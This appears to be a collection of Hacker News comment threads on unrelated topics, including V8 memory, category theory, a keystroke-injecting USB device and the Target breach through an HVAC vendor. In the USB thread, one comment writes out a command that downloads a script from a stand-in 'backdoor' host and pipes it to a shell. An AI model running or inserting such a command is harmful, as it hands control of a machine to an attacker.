So, what new insight does this blog post bring ?

</comment><comment><USER33> "reduces the value of old people" This phrasing really sticks out for me.

You have value by virtue of being a human being. If the society you are a part of ever comes to lose sight of that, your very life would become endangered. ("Not considered valuable; make room for the valuable.")

People are not tools. People are not a commodity. People are not means to an end.

</comment><comment><USER34> I get much value out of this: <http://twitter.com/shitmydadsays> and it just wouldn't have the same weight of experience in my mind if it were some young person saying these things (it's possible it is just a young kid making this up but it has more weight in my mind thinking it's an older person).

</comment><comment><USER35> Judgment becomes better with age. That is a pretty big advantage. Also, as you get older you can get assets that later on work for you.

</comment><comment><USER36> data != wisdom

a computer != a human brain

logic != emotion

Otherwise, you wouldn't need things like y-combinator, Hacker News, or Startup School. Hell, we wouldn't even need each other. We'd just google _everything_.

</comment><comment><USER37> Generally speaking, I think old people are valued less than they used to be because it takes less wisdom to grow old than it used to. It used to be only really wily, wise individuals had much hope of getting really old. Then we invented antibiotics and such and now virtually any idiot can live to a ripe old age. Then someone looks around, realizes we no longer revere our elderly and starts coming up with an explanation.

In some sense, it's true: "Technology" has made our old people less valuable. But I don't think it's so much because it has made wisdom less valuable. I think it is more that old age is no longer a strong proxy for wisdom like it was historically.

</comment><comment><USER38> I'm 22, not old by any standards. The value from "old people" isn't what they can do for me right now (its my turn) its what they did for me long before I existed. Without old people building all this great infrastructure, I would not be living the great life I have now. Feel free to keep taking money out of my paycheck to pay for their medication, I hope my grandchildren will do the same.</comment>


V8 memory quiz - <AUTHOR> http://www.mattzeunert.com/2018/01/25/v8-javascript-memory-quiz.html <comment><USER2> Spoiler: V8's default array implementation holds pointers to boxed objects [Questions 5 & 6], but there are special-case implementations for arrays of doubles [1] and 16-bit integers [9] (and presumably others). However, adding a single string to an array of doubles violates the special-case and requires every double to be boxed, significantly increasing memory footprint [2].

It's interesting to compare this to a "NaN-boxing" approach, which allows pointers and doubles (and other simple values) to all exist in a single "namespace" of 8-byte values. In the (uncommon?) case of a heterogeneous array, this can save memory by avoiding the need to box simple values. The downside is that NaN-boxing prevents the use of full 64-bit pointers.

<comment><USER3> This isn't a special cased array specialization for 16-bit integers (16-bit integers are so rare that special casing those is not worth it). Note that a standard array is not used in [9], rather an `Int16Array` is being used. Due to JavaScript specification requirements (arrays of different integer sizes can share storage), the ONLY sane implementation of Int16Array is well... an array of 16-bit integers.

</comment></comment><comment><USER4> This is one of my favourite ways to play with a concept. The quiz part forces my brain to turn on the problem solving section rather than just the reading section.

</comment><comment><USER5> Okay, but how about other JavaScript engines?

And shouldn't stuff like this be in the specs, so that the language becomes more consistent and predictable?

<comment><USER6> > Okay, but how about other JavaScript engines?

SpiderMonkey uses NaN-boxing, so pointers to objects will sometimes take up less space than in V8. As for hidden classes, I'm not sure about how shapes (SpiderMonkey's term for hidden classes) interact with constructors.

> And shouldn't stuff like this be in the specs, so that the language becomes > more consistent and predictable?

That would stifle compiler innovation. Not even the "low-level", "predictable" C and C++ mandate particular implementations, beyond specifying the bare minimum necessary to ensure pointer arithmetic works portably.

<comment><USER5> > Not even the "low-level", "predictable" C and C++ mandate particular > implementations

But at least with C and C++ a developer can test the performance before deployment.

</comment></comment></comment><comment><USER7> So V8 doesn't use compressed pointers? It sounds wasteful to use whole 8 bytes for pointer if typical JS application is unlikely to need more than 2GB of ram

</comment><comment><USER8> The default size of an array for V8 is over 1304209 elements?

<comment><USER9> When it runs out of space, it resizes to (at least) a multiple of its current space to avoid having to resize too often, making pushing a constant-time operation on average. 1304209 is the smallest size in the sequence starting with an empty array that's at least 1048576.</comment></comment>


Preparing for Coronavirus to Strike the U.S. - <AUTHOR> https://blogs.scientificamerican.com/observations/preparing-for-coronavirus-to-strike-the-u-s/ <comment><USER2> Zeynep Tufekci (the author of the piece) also wrote an excellent book, Twitter and Tear Gas, about modern protests and social movements in the age of social media. It's available online under a CC license: [https://www.twitterandteargas.org](https://www.twitterandteargas.org)

<comment><AUTHOR> I read through the article, twice, before checking the byline. I was suprised to see her name. Though I think the phenomena are closely related.

Adam Kucharski's new book, _The Rules of Contagion_ looks like it will be an interesting addition to the genre as well:

[https://oxfordliteraryfestival.org/literature- events/2020/ap...](https://oxfordliteraryfestival.org/literature- events/2020/april-1/the-rules-of-contagion-why-things-spread-and-why-they- stop)

</comment></comment><comment><USER3> This article scared me more than everything else that I read about the virus. I personally am not afraid for my health as a semit-fit middle aged male. I should be ok. But the image of cities in the US being put under lockdown is scary as hell. Also the implication to the economy could be grave and lead to the next reccession. I feel deeply uncertain about the next months now...

</comment><comment><USER4> This as an excellently written article</comment>


"Category Theory for Programmers" has been finished - unkown-unknowns https://bartoszmilewski.com/2014/10/28/category-theory-for-programmers-the-preface/?repost-reason=updated <comment> unkown-unknowns Via [https://www.reddit.com/r/haskell/comments/6x7ms0/category_th...](https://www.reddit.com/r/haskell/comments/6x7ms0/category_theory_for_programmers_has_been_finished/)</comment>


Linguistics Using Category Theory (2018) - <AUTHOR> https://golem.ph.utexas.edu/category/2018/02/linguistics_using_category_the.html <comment><USER2> Even if a mathematical definition of a sandwich is presented, it is very unlikely to have majority support in localities of any size (down to two individuals).

<comment><USER3> In your particular example, I like the cube rule (e.g. to answer 'is a hotdog a sandwich?')

EDIT: [http://cuberule.com/](http://cuberule.com/)

<comment><USER2> Then subs are tacos and not sandwiches? I would disagree.

The definition I like for sandwich is "A set of materials in the configuration ABA, mated along their longest side". It holds up in contexts outside of food, that the word "sandwich" is sometimes used in, and is valid in dimensionalities other than 3.

The sub issue remains though. Semantically, it could be argued that subs are sandwiches that have not had their end fully cut.

</comment></comment></comment><comment><USER4> I'm starting to study category theory and I'm realizing if there exists a formal theory around 'design' and 'abstraction' category theory is it.

I could be wrong though. What do you guys think?

<comment><USER5> Jean-Pierre Marquis, in his contribution to the volume "What is Category Theory", wrote: 'Category theory is the Architectronic of Concepts'.

I think this is the best way I have heard it put.

<comment><USER6> Here's the quote:

"Once category _theory_ was developed and used, in particular when the central theoretical role played by adjoint functors was understood, a fascinating process of reversal of perspective, a gestalt switch, took place: what was seem as a useful tool in organizing and guiding mathematical thought became a theoretical framework that revealed the basic or fundamental principles underlying mathematical concepts, theories and theorems. Thus, the Stone duality theorem is indeed more perspicuously presented in the context of categories and functors—it is organized nearly and the basic consequences of the result are transparent—but once it is seen as a special case of a very general adjoint situation, a _theoretical_ understanding of the phenomenon becomes available. Category theory is not _applied_ to Stone's theorem, it is the latter that becomes a specific instance of a general, universal conceptual situation.

Although it might in the end be more obscure than what I have said so far, I dare at this stage put forward a slogan that, I believe, sums up the core of what I have been presenting: _category theory is the architectonic of mathematics_. Category theory is, indeed, as in the philosophical sense of the expression "architectonic", the systematization of mathematical knowledge. Mathematical knowledge _is_ systematic. Mathematics _is_ a conceptual system. That much is indubitable."

Note that it's -tectonic (from the Greek for carpenter) not -ectronic (from electron). And it's just "the architectonic of mathematics", not concepts in general. There are obviously architectonics of other things as well, like (spatial) architecture itself, or music, or cooking. So while perhaps CT is the ultimate theory of algebraic abstractions, but it's not the only kind of design system that exists. It represents the mathematical aspect of design.

<comment><USER5> No, in the article I'm referencing he goes further, to concepts. It's here: [https://www.amazon.com/What-Category-Theory-Giandomenico- Sic...](https://www.amazon.com/What-Category-Theory-Giandomenico- Sica/dp/8876990313)

I had confused in my mind -tectonic with a phrase from another book I admire: [https://www.amazon.com/Between-Two-Ages-Americas- Technetroni...](https://www.amazon.com/Between-Two-Ages-Americas- Technetronic/dp/0313234981). I guess that's what I get for not double- checking; and you get a random book link :)

<comment><USER6> Yes, I did (later on) see his "stretch" version of the slogan at the end of the article, but I don't buy it. Everyone knows there are operations that can't be encoded in category theoretic terms, for example a lot of things in analysis. It's silly to claim that it subsumes all concepts.

He also alludes in that final paragraph to Kant (who used the term architectonic in his philosophy) so that's a hint that he has a Kantian perspective in mind. IMO that makes that final paragraph too speculative and frankly just out of scope if we're trying to talk about the design of software. I know a bit about Kant, and it seems to me that he doesn't really have anything to say about what a theory of the design of abstractions would look like. It's all too much of a stretch. Combining philosophers and category theory (take Zalamea for example) seems to produce "architecture astronauts,".

</comment></comment></comment></comment></comment><comment><USER7> Chris Barker of NYU does a lot of category theory and linguistics work. I remember a colloquium or two which did good work in talking about modeling certain semantic structures in monad terms.

I remember it because at the time I liked the idea of keeping a monadically updated 'context' node (at or above C) in an otherwise fairly orthodox Chomskyan x-bar framework to start modeling the syntax-semantics interface, but never really pursued linguistics as the money was just so bad.

Good times, formal linguistics could use some of the rigor and computational methods that computer science has offered for a few decades.

<comment><AUTHOR> That colloquium looked nice, I assume no slides are available? Barker is anouncing another seminar on deep learning and semantics, that looks intriguing from the attached public materials. I think that compsci furnishes ideas from formal language parsing that can be toy models of fragments of natural languages, Montague made a case in favour of formalizability. Wadler investigated monadic parsing and this can be an entry point for what is happening in linguistics. I have as reference arXiv:cs/0205026v1

added: on Barker seminar day 4 I see CCG derivations that are a close formalism of pregroup grammars used in the original post, nice to see this concurrently with nnets talk.

</comment></comment><comment><USER8> A post on Category Theory from UT that doesn't mention Steedman or Baldridge?!</comment>


Thought it was a flash drive [video] - <AUTHOR> https://www.reddit.com/r/assholedesign/comments/c1aq23/thought_it_was_a_flash_drive/ <comment><USER2> Hasn't this been known for half-a-decade?

I mean, it's a product you can literally buy and it's impossible to adequately defend against.

[https://github.com/hak5darren/USB-Rubber- Ducky/wiki/Payloads](https://github.com/hak5darren/USB-Rubber- Ducky/wiki/Payloads)

[https://shop.hak5.org/products/usb-rubber-ducky- deluxe](https://shop.hak5.org/products/usb-rubber-ducky-deluxe)

<comment><USER3> i've known it was possible, but it's still the first time i'd ever seen a clip of it actually happening.

And i'm pretty sure using this exploit for totally benign marketing purposes is a new one.

</comment></comment><comment><USER4> Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What's the story with this on macOS?

<comment><USER5> It's a USB keyboard that opens types some commands to open a hard-coded website.

You can't really prevent that.

<comment><USER6> You could require confirmation before accepting a new input device. This could be done with out of band signaling (such as a button on the computer itself that you push to say "yes, I want to use this keyboard") or you could do it by requiring the user to type in a secret (such as their login password, or even just a PIN displayed on the screen) to enable it for other uses.

I don't know that people would accept this inconvenience, though.

<comment><USER2> > or you could do it by requiring the user to type in a secret

how would you accomplish this given that the normal situation is that you're plugging in a keyboard?

<comment><USER4> I think the implication is you can type on the plugged in keyboard, but the OS won't pass the input through unless the first thing typed is a secret.

This is somewhat similar to how bluetooth keyboards are enabled on macOS (or were the last time I connected one).

<comment><USER6> Precisely. You get some authorization box and your input only goes to that box. If you authorize, it then acts like a normal keyboard.

</comment></comment></comment></comment></comment></comment><comment><USER7> As has been pointed out, you couldn't block this kind of thing without blocking USB keyboards altogether.

I wonder what it would look like to have a background program that would detect and intercept any newly connected device by default, give it a fake (VM?) environment, and log everything it tried to do to the screen while prompting to ask if you want to let it into the "real" system. Obviously this is what security professionals do manually, but I'm talking about a totally transparent and automatic version that could be left running all the time.

<comment><USER8> A simple system like android fine grained permissions? <usb device> is asking to send keyboard input. Allow/Deny?

<comment><USER9> This strikes me as the right solution, with two caveats:

• It should allow the keyboard through—or have a timeout that defaults to "yes"—if a mouse or keyboard is not already connected.

• I should have the option to disable it.

<comment><USER10> If there's a monitor, you don't need to trust the first keyboard—just display a message with "type this [random] code to allow this keyboard."

<comment><USER9> I like this, but how do you know the keyboard layout?

<comment><USER11> My thought was that it would be an excellent, low knowledge way of figuring that out. For example, if it said type "qwerty" and it came through as "azerty", that would get you 95% of the way to having a fully functional keyboard. Mapping out the requisite keys needed to fully identify the keys could probably be done with a fairly short number of key presses for 99+% of likely keyboards.

For this case, I am assuming that the keyboard and os language are fairly compatible, at least translatable.

</comment></comment></comment></comment></comment></comment><comment><USER12> There are a variety of physical port blockers available as well as devices to lock cables in place. Some protrude, others are flush and require a key for removal.

If you have business policies and training in place, hopefully the additional steps of removing a lock will also provide time for adequate second thoughts to percolate through those with poor judgment. Malicious actors won't be seriously deterred, but that's a different matter.

</comment><comment><USER13> Qubes OS has an interesting way of combatting these kinds of attacks. You can manually attach a usb drive to a specific program VM, limiting the damage possible by a malicious flash drive.

I want to say it even lets you disable or whitelist usb keyboards/mice entirely but I'm not 100% certain.

QubesOS is pretty different from other OSes though, I wish those sorts of device isolation were possible or more easily accomplished in other operating systems.

</comment><comment><USER14> At Defcon, a buddy of mine screwed around with a bluetooth HID device, that when connected to, would automatically attempt to open a webpage and send them to an innocuous site (Which obviously could have been a less innocuous site).

Couldn't believe we got multiple people to connect to it under the guise the device would do a cool thing.

<comment><USER15> Well it is a cool thing. It's different and that makes it interesting.

Sometimes I feel like all this worrying about computer security makes it harder for people to share new things.

<comment><USER16> Uh, I think you are making an argument against _safety_ and i'm not sure if you are being sarcastic?

It's one thing to theorize, discuss and build something dangerous, it's another to actually use it.

See Flamethrowers.

<comment><USER15> Flamethrowers are a great analogy.

Adults who know each other and the dangers well should be (and are) allowed to play with flamethrowers. I'm not sure I'd want to live in a place where they couldn't.

</comment></comment></comment></comment><comment><USER8> so... <Super>terminal<Enter>wget backdoor.com | bash<Enter></comment>


Restaurants Are the New Factories - <AUTHOR> https://www.theatlantic.com/business/archive/2017/08/restaurant-jobs-boom/536244/?single_page=true <comment><USER2> Interestingly there is no mention of the disruptive risk automation and technology presents to this class of jobs.

\- In the back off the house, automation and centralization (to tightly controlled, centralized commissaries).

\- In the front of the house, self ordering via kiosks + on mobile phones

I am strongly in support of raising minimal wages, but this will only help further incentivize/accelerate adoption.

</comment><comment><USER3> Masses of humans working at restaurants does not make a country rich. A sign the America is losing it's wealth</comment>


Mother-Toddler Bond May Influence Teen Obesity - <AUTHOR> http://news.yahoo.com/mother-toddler-bond-may-influence-teen-obesity-140405654.html

<comment><AUTHOR> Abstract of the new study on the issue:

[http://pediatrics.aappublications.org/content/early/2011/12/...](http://pediatrics.aappublications.org/content/early/2011/12/21/peds.2011-0972.abstract)</comment>


Ava – Asynchronous test runner - <AUTHOR> https://github.com/sindresorhus/ava <comment><USER2> Pretty amazing, but there's one feature all test runners seem to ignore, and that's persistent watching. And the ones that _do_ support it just run pretty much _everything_ on each save.

My development process looks like this:

\- run the watcher

\- save a source/test file

\- if the file is in /test/ dir, then the suite is ran

\- if the file is in /src/ dir, then it is instrumented (and the instrumented source replaces require cache

\- once the suite is done running, a coverage report (Istanbul ftw!) is built both in html and console versions.e

\- Every save only takes a few milliseconds to generate the feedback/output, which is really important to me

It took some time, but got it working eventually: [https://medium.com/@TomazZaman/how-to-get-fast-unit-tests- wi...](https://medium.com/@TomazZaman/how-to-get-fast-unit-tests-with-out- webpack-793c408a076f#.zhak16kht)

Now the question I have at this point is: Is it only me who has this kind of requirements? Because I've Googled a lot (A-LOT!) and there's simply no Javascript test optimization techniques out there. At least none people would write about.

<comment><USER3> AVA author here. Not ignored, just not implemented yet. AVA is still in its infancy and we're prioritizing getting the core settled first. We're are thinking of doing something even more ambitious, though. Naive watching is easy, but we want to tackle incremental testing, so you only have to run the tests that was affected by code changes since the last run. See [https://github.com/sindresorhus/ava/issues/115](https://github.com/sindresorhus/ava/issues/115) for more.

We're happy to receive issues if there's anything else that bothers you. We also have a Gitter chat if you'd like to discuss: [https://gitter.im/sindresorhus/ava](https://gitter.im/sindresorhus/ava) :)

<comment><USER2> Thanks! I'll look this project closely from now on and try to contribute to best of my abilities! :)

</comment></comment></comment><comment><USER4> Recently contributed to this project. Sindre is a great and friendly guy, and ava has a lot of potential.</comment>


The HP Way - <AUTHOR> http://www.hpalumni.org/hp_way.htm

<comment><USER2> It's also a good book by David Packard on the birth and evolution of the company.</comment>


Russian science is amazing. So why hasn't it taken over the world? - <AUTHOR> http://www.bostonglobe.com/ideas/2015/01/04/russian-science-amazing-why-hasn-taken-over-world/u61VuLiq3lJiyIMY0OLZ7N/story.html <comment><USER2> Cool article.

Something to be said about russia that was not mentioned. The education system of russia has greatly deteriorated. What made soviet science what it was, was the unbelievable school system, from pre school to graduate study. Coupled to a cultural identity linked to knowledge. In many ways, the Russia that emerged out of the soviet union has lost its way in the aspects of learning, compared both to the communist years as well as those dating back to the empire.

</comment><comment><USER3> Thanks for the history lesson.</comment>


Show HN: Profile Beautifier (a Facebook app) - <AUTHOR>

http://apps.facebook.com/beautyprofile
I built and posted this on HN yesterday but no one seems to notice, so I thought "It's a lame idea".
Waking up this morning, I found out there're currently 1000+ users in less than 24 hours, and another Show HN is currently on first page of HN, so I decided to submit again :-P.
If you like what I did, I wouldn't mind an upvote =).
Any comment for feedback is greatly appreciated. <comment><AUTHOR> Btw, how do I make the link clickable? Can't figure it out :-(

</comment><comment><USER2> cool stuff dude!</comment>


Target Hackers Broke in via HVAC Company - <AUTHOR> http://krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac-company/ <comment><USER2> One of the key parts of this for consumers to keep in mind is that this is a _massive_ PCI violation. Target neglected many of the most basic requirements in terms of network segmentation and data protection. Target is a large tier- one retailer. They had 3rd party audits to "guarantee" PCI compliance.

However, the 3rd party is usually a single 'auditor' who interviews the staff and looks at the network diagrams provided by the IT department. This information may be inaccurate to the point that it may not even exist.

The focus in these audits is almost always ecommerce. I'm sure Target's ecommerce site has been scoped very thoroughly. Almost _every_ retailer is just as exposed. While every client I've worked with has (by the time I left) been PCI compliant on the ecommerce side, the internal networks are often completely flat, even across global locations. SOX is a joke as a result, as there is no separation of concerns.

<comment><USER3> What lessons beyond "Even major retailers have serious security problems" should a consumer be worried about here?

I don't know much about PCI compliance, but I don't get the idea that it is something I should have to worry about as a user of a credit card.

<comment><USER4> The lesson is to have more than one credit card, because eventually the one you use regularly will be compromised -- even if you only use it at physical locations. And when it is compromised, you will have to get a replacement, which is an inconvenience (hence the need for a second card). Oh, and keep an eye on your statements. And if you use a debit card, you may be worse off -- when it is compromised, you will have bills bouncing until you can get it straightened out. Even more of an inconvenience.

If you use a debit card, go to your bank and have them turn off the "feature" that lets you overdraft (and get charged a $35.00 fee each time). Set up a separate account (one that doesn't have a debit card), to use for all your bill payments, so at least that doesn't get behind if your main account is cleaned out.

<comment><USER5> Seems like this was overlooked a little, but one could always use cash.

I understand the reasons why cash can be inconvenient, but I doubt it it less hassle then dealing with a bank/CC company over fraudulent charges, associated overdraft fees, and all the crap.

Now eCommerce transactions over the web is a different story.

<comment><USER6> Indeed; that's what I do for everything local that less than, say, $750, and it's remarkably worry free. No privacy issues either, no one has any idea exactly what I buy locally.

</comment></comment></comment></comment></comment><comment><USER7> The way credit cards are designed should be illegal. They are basically a piece of plain text that can be used by anyone to purchase things from someone's account.

It's basically the worst security you could possibly have for one of the highest-risk systems (direct access to money) that exist.

People need to be angry at the credit card industry for designing such an insecure system, not Target. There are plenty of online payment systems that work far, far better than credit cards that cannot, by design, ever have user account information stolen from a retailer.

<comment><USER8> What you say is true.

However, it doesn't really matter. Despite all the hue and cry, credit card fraud losses run in the single-digit basis point range as a fraction of transaction volume and around 1.2% as a fraction of issuer expenses.† Losses due to uncollectible debt (the "charge-off rate") are much higher, at around three or four percent in 2013 (but 10.9% in the second quarter of 2010).††

The pain point isn't financial. It's the bad publicity when breaches occur and the nagging fear is that losses could suddenly get out of hand due to some unanticipated vulnerability.

†[http://web.archive.org/web/20091229101826/http://www.sas.com...](http://web.archive.org/web/20091229101826/http://www.sas.com/news/analysts/mercator_fraud_1208.pdf)

††[http://www.federalreserve.gov/releases/chargeoff/chgallsa.ht...](http://www.federalreserve.gov/releases/chargeoff/chgallsa.htm)

<comment><USER7> So this means we're effectively _all_ paying 1.2% extra (indirectly through retailer's credit card fees) to accept these fraud losses. But you have to add to that some amount for overhead of dealing with fraud reports, and the expense of required security practices in order to be PCI compliant, which is entirely a result of the plain-text nature of credit cards. It probably results in 1.5-2% extra to all purchases, entirely hidden to consumers.

And, from your own citation, on average, 10% of Americans are victims of credit card fraud and 7% of debit card fraud - this probably results in about 16% of Americans total if you assume both groups are random samples of the population.

If you've ever dealt with credit card fraud, you'd know that it's an ordeal that can be a huge pain in the ass. It can take many hours of your own time, and time from your card issuer. The cost isn't just directly financial, it's the overhead that comes as a result of the fraud.

I am certain that if given the choice, nearly everyone would take a 1.5% discount on all of their purchases if they had to do two-factor authentication on all of them in exchange.

<comment><USER9> _I am certain that if given the choice, nearly everyone would take a 1.5% discount on all of their purchases if they had to do two-factor authentication on all of them in exchange._

Do you have a trusted friend or family member who is not a technologist? Ask if you can watch them a) sign up for 2FA for their bank and b) complete one end-to-end transaction using 2FA.

You may, in response to this short anthropological study, revise your estimate that nearly everyone would gladly use 2FA for every purchase.

(Additionally, merchants wouldn't be thrilled about any system which makes it difficult for their customers to spend money. If the Stripe API had a field for require_two_factor_authentication I'd set it to "false" or "are you freaking kidding me? no!" simply because I _know_ that will cost me more in lost transactions than I lose to CC fraud.)

</comment></comment></comment></comment><comment><USER10> This doesn't surprise me.

From what I've seen on the provider side HVAC (and access control) companies want their devices right on the Internet. If you push them they'll deal with being behind NAT with a port forward but mention using a VPN and that's too much work for them.

Ask them about security and they hand wave and say it is secure because it is a "appliance" or "controller" as if that magically protects them.

This is changing somewhat as vendors move to a "phone home to the cloud" approach instead of direct access so they can get in on the revenue stream between the end user and the dealer. This removes the direct exposure to the internet but the local/insider threat remains.

</comment><comment><USER11> I for one welcome the fantastic security enabled by the Internet of Things.

<comment><USER12> This already started.

TV receivers broadcasting metadata about files on devices connected to the LAN.

Routers allowing anonymous access over ftp to the disks connected to them.

Routers protected on the WAN side with factory set passwords.

Kettles and irons equipped with wifi and looking for open networks to broadcast something to the world.

(Smart)phones with broadband processors with DMA access to the applications processor's memory.

Computers, tablets and game consoles equipped conveniently with cameras and microphones.

We live in the future, do we like this or not.

<comment><USER13> I have seen TV broadcast equipment with SNMP and web interfaces exposed on public internet addresses. Days ago.

</comment></comment></comment><comment><USER14> Curious: What are the ethical implications for the thieves? They effectively stole from a giant, multinational corporation, and inconvenienced consumers. At the end of the day, no consumer lost money from this. I wonder how this differentiation affects the consciences of the thieves, who are probably sitting on quite a large pile of money right now...

(I hope this comment doesn't show up in a background check..)

<comment><USER15> Consumers have not lost money directly, but they certainly will lose it in higher interchange fees, interest rates, store prices, and all the other tiny components that make up the American payment infrastructure.

</comment></comment><comment><USER16> _It's not immediately clear why Target would have given an HVAC company external network access..._

<comment><USER10> When you reach a certain size of HVAC system it is common for the dealer to regularly service the system and proactively monitor it. This requires access to the controllers to see a pump has failed, coolant pressure dropped, etc.

They should have ordered a stand-alone Internet connection for such things but probably figured they'd save the money and use the existing network connection.

<comment><USER17> Really all they would need is a VLAN and a proper set of ACLs.

<comment><USER16> It's almost as if, at some size, a company's "internal" network should be considered no more secure than the internet itself. Defense at the perimeter only is flawed, especially when the perimeter is the only thing protecting cash registers that update with unsigned firmware. One wouldn't connect such a client directly to the internet, so neither should one connect it directly to a network shared by millions of devices at 1700 stores.

<comment><USER18> > It's almost as if, at some size, a company's "internal" network should be > considered no more secure than the internet itself.

Exactly this.

I realized this a few years ago, at a previous employer. We had _excellent_ security at the firewall boundary.

Inside the network gave me cause for concern. Once could plug into any port, in any building, get an IP address and ping anything on our network.

And how good was site security at a given location? Who knew, really.

When your server's security depends on J. Random Employee not allowing tail- gaters at the back door ... you got problems.

</comment></comment></comment></comment></comment><comment><USER19> Wow, I'm more surprised that they had $100M "cyber" insurance.

<comment><USER9> So if I check my actual policy documents, it's described as a "Data Breach Expense And Regulatory Defense Coverage rider to your Errors and Omissions Policy." But hey, computers are involved, so the news media would probably call that my cyberinsurance.

</comment></comment><comment><USER20> Is it common and responsible to name the source of the credential leak like that? I can imagine that maybe other retailers would want to know that information, but I can also imagine the investigation is continuing and thus the opportunity exists for the story to become more complex.

<comment> brown9-2 Other retailers should be less concerned about if they have done business with _this vendor_ than they should be able letting any vendor have insecure access to their network.

</comment></comment><comment><USER21> This kind of reminds me of the original Wall Street movie, where Charlie Sheen broke into companies via their cleaning service, and then stole inside information.

</comment><comment><USER22> This is a non cached link that appears to still function:

[http://krebsonsecurity.com/2014/02/target-hackers-broke- in-v...](http://krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac- company/#more-24698)

</comment><comment><AUTHOR> Edit: The article is back up now.

\---

The article has disappeared. Here's the text of the first part of the post from Google cache.

[http://webcache.googleusercontent.com/search?q=cache:mG2INOj...](http://webcache.googleusercontent.com/search?q=cache:mG2INOjNyFUJ:krebsonsecurity.com/+&cd=2&hl=en&ct=clnk&gl=us)

Feb 14 Target Hackers Broke in Via HVAC Company

Last week, Target told reporters at The Wall Street Journal and Reuters that the initial intrusion into its systems was traced back to network credentials that were stolen from a third party vendor. Sources now tell KrebsOnSecurity that the vendor in question was a refrigeration, heating and air conditioning subcontractor that has worked at a number of locations at Target and other top retailers.

Sources close to the investigation said the attackers first broke into the retailer's network on Nov. 15, 2013 using network credentials stolen from Fazio Mechanical Services, a Sharpsburg, Penn.-based provider of refrigeration and HVAC systems.

Fazio president Ross Fazio confirmed that the U.S. Secret Service visited his company's offices in connection with the Target investigation, but said he was not present when the visit occurred. Fazio Vice President Daniel Mitsch declined to answer questions about the visit. According to the company's homepage, Fazio Mechanical also has done refrigeration and HVAC projects for specific Trader Joe's, Whole Foods and BJ's Wholesale Club locations in Pennsylvania, Maryland, Ohio, Virginia and West Virginia.

Target spokeswoman Molly Snyder said the company had no additional information to share, citing a "very active and ongoing investigation."

It's not immediately clear why Target would have given an HVAC company external network access, or why that access would not be cordoned off from Target's payment system network. But according to a cybersecurity expert at a large retailer who asked not to be named because he did not have permission to speak on the record, it is common for large retail operations to have a team that routinely monitors energy consumption and temperatures in stores to save on costs (particularly at night) and to alert store managers if temperatures in the stores fluctuate outside of an acceptable range that could prevent customers from shopping at the store.

"To support this solution, vendors need to be able to remote into the system in order to do maintenance (updates, patches, etc.) or to troubleshoot glitches and connectivity issues with the software," the source said. "This feeds into the topic of cost savings, with so many solutions in a given organization. And to save on head count, it is sometimes beneficial to allow a vendor to support versus train or hire extra people."

Continue reading →

<comment><USER23> It appears to be back up now. It returned right around 3:40PM EST.

</comment></comment><comment><USER24> And, evidently, they've broken into Krebsonsecurity.com to delete this.

<comment><USER25> Go up one level in the URL.

</comment></comment><comment><USER26> This reminds me of the vulnerable Google HVAC last year.

</comment><comment><USER27> Finally someone to blame...</comment>